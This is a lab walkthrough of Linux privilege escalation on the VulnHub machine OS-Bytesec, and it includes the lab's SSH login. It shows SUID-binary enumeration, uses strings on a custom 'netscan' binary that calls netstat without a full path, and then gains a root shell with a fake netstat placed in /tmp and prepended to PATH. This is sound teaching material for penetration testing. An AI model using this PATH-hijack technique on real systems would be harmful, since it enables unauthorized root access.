Linux Privilege Escalation: The PATH Environment Variable (PATH Abuse)

Sharing is caring

Views: 79

LAB setup

  • Attack Box: KALI Linux or ParrotOS
  • Victim machine: VulnHUB VM: OS-Bytesec

Initial Access

Read this article to learn how to gain initial access to the victim machine.

SSH User: blackjax
Password: snowflake
Port    : 2525

PATH Abuse

PATH is an environment variable that specifies the set of directories where an executable can be located. An account’s PATH variable is a set of absolute paths, allowing a user to type a command without specifying the absolute path to the binary. For example, a user can type cat /tmp/test.txt instead of specifying the absolute path /bin/cat /tmp/test.txt. We can check the contents of the PATH variable by typing env | grep PATH or echo $PATH.

$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

Find SUID Files

find / -perm -u=s -type f 2>/dev/null

The forward slash means that we will start from the top or the root of the file system.
-perm for permission
Then we state what permissions we are looking for: We want all files owned by the root user and we are looking for that “s”.
Then we say what type we are looking for, so we say files (f).
And we throw this into the dev null which means that it will filter out the errors so that they will not be output to your console.
2 represents the error descriptor, which is where errors are written to. By default they are printed out on the console.
> redirects output to the specified place, in this case /dev/null
Note: /dev/null is the standard Linux device where you send output that you want ignored.
$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
/usr/lib/i386-linux-gnu/lxc/lxc-user-nic
/usr/lib/eject/dmcrypt-get-device
/usr/bin/newgidmap
/usr/bin/gpasswd
/usr/bin/newuidmap
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/at
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/netscan
/usr/bin/sudo
/bin/ping6
/bin/fusermount
/bin/mount
/bin/su
/bin/ping
/bin/umount
/bin/ntfs-3g
Expand

The Set User ID upon Execution (setuid) permission can allow a user to execute a program or script with the permissions of another user, typically with elevated privileges. The setuid bit appears as an s.

$ find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null

This is the same command as the one previously seen but provides more detailed information. The -4000 means to list set-user-ID files and directories.

$ find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
-rwsr-xr-- 1 root messagebus 46436 Jan 12  2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 513528 Jan 31  2019 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 13960 Jan 15  2019 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-sr-x 1 root root 105004 Jan 30  2019 /usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root root 42396 Jun 15  2017 /usr/lib/i386-linux-gnu/lxc/lxc-user-nic
-rwsr-xr-x 1 root root 5480 Mar 27  2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 36288 May 17  2017 /usr/bin/newgidmap
-rwsr-xr-x 1 root root 78012 May 17  2017 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 36288 May 17  2017 /usr/bin/newuidmap
-rwsr-xr-x 1 root root 48264 May 17  2017 /usr/bin/chfn
-rwsr-xr-x 1 root root 53128 May 17  2017 /usr/bin/passwd
-rwsr-xr-x 1 root root 39560 May 17  2017 /usr/bin/chsh
-rwsr-xr-x 1 root root 18216 Jan 15  2019 /usr/bin/pkexec
-rwsr-xr-x 1 root root 34680 May 17  2017 /usr/bin/newgrp
-rwsr-xr-x 1 root root 7432 Nov  4  2019 /usr/bin/netscan
-rwsr-xr-x 1 root root 159852 Jul  4  2017 /usr/bin/sudo
-rwsr-xr-x 1 root root 43316 May  8  2014 /bin/ping6
-rwsr-xr-x 1 root root 30112 Jul 12  2016 /bin/fusermount
-rwsr-xr-x 1 root root 34812 May 16  2018 /bin/mount
-rwsr-xr-x 1 root root 38900 May 17  2017 /bin/su
-rwsr-xr-x 1 root root 38932 May  8  2014 /bin/ping
-rwsr-xr-x 1 root root 26492 May 16  2018 /bin/umount
-rwsr-xr-x 1 root root 157424 Jan 28  2017 /bin/ntfs-3g
Expand

The Set-Group-ID (setgid) permission is another special permission that allows us to run binaries as if we were part of the group that created them. These files can be enumerated using the following command: find / -uid 0 -perm -6000 -type f 2>/dev/null. These files can be leveraged in the same manner as setuid binaries to escalate privileges.

find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null 

Result:

What we can do next Is to run this /usr/bin/netscan binary and see what happens. The image below shows what happens when we run it

$ /usr/bin/netscan
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:2525            0.0.0.0:*               LISTEN      1021/sshd       
tcp        0      0 0.0.0.0:445             0.0.0.0:*               LISTEN      875/smbd        
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      1016/mysqld     
tcp        0      0 0.0.0.0:139             0.0.0.0:*               LISTEN      875/smbd        
tcp        0      0 172.16.1.107:139        172.16.1.113:51880      ESTABLISHED 1268/smbd       
tcp        0    168 172.16.1.107:2525       172.16.1.27:60496       ESTABLISHED 1297/sshd: blackjax
tcp6       0      0 :::2525                 :::*                    LISTEN      1021/sshd       
tcp6       0      0 :::445                  :::*                    LISTEN      875/smbd        
tcp6       0      0 :::139                  :::*                    LISTEN      875/smbd        
tcp6       0      0 :::80                   :::*                    LISTEN      1151/apache2 

It lists out all the active network connections to the victim machine. However, the ‘netscan’ is not a common tool/cmd available in Linux. Normally, we use ‘netstat’ to view the network connections.

So, let’s examine the file ‘netscan’ using the strings command ‘strings /usr/bin/netscan’

strings /usr/bin/netscan
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
setuid
system
setgid
__libc_start_main
__gmon_start__
GLIBC_2.0
PTRh
QVhk
UWVS
t$,U
[^_]
netstat -antp
;*2$"(
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.11) 5.4.0 20160609
crtstuff.c
__JCR_LIST__
deregister_tm_clones
__do_global_dtors_aux
completed.7209
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
pingshell.c
__FRAME_END__
__JCR_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
__x86.get_pc_thunk.bx
_edata
__data_start
setgid@@GLIBC_2.0
system@@GLIBC_2.0
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_start_main@@GLIBC_2.0
__libc_csu_init
_fp_hw
__bss_start
main
setuid@@GLIBC_2.0
_Jv_RegisterClasses
__TMC_END__
_ITM_registerTMCloneTable
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rel.dyn
.rel.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.jcr
.dynamic
.got.plt
.data
.bss
.comment
Expand

The output of the strings command reveals that ‘netscan’ is actually calling ‘netstat -antp’ command when executed — refer line number 16 in the above box. It seems that the netscan is actually a “script” to run netstat created by someone to list out the established connections. 

Privilege Escalation

With this information, let’s try to target the ‘netstat‘ file.

# Create a file named netstat in /tmp 
echo "/bin/bash" > netstat
#modify the permissions
chmod 777 netstat
#Add the /tmp directory into $PATH 
export PATH=/tmp:$PATH
# Run netscan 
netscan
$ cd /tmp
$ pwd
/tmp
$ ls
systemd-private-0e96f87a290449b3ad230bd7021f6241-systemd-timesyncd.service-GJnkQF
$ echo "/bin/bash" > netstat
$ export PATH=/tmp:$PATH
$ netscan
root@nitin:/tmp# id
uid=0(root) gid=0(root) groups=0(root),1001(blackjax)
root@nitin:/tmp# whoami
root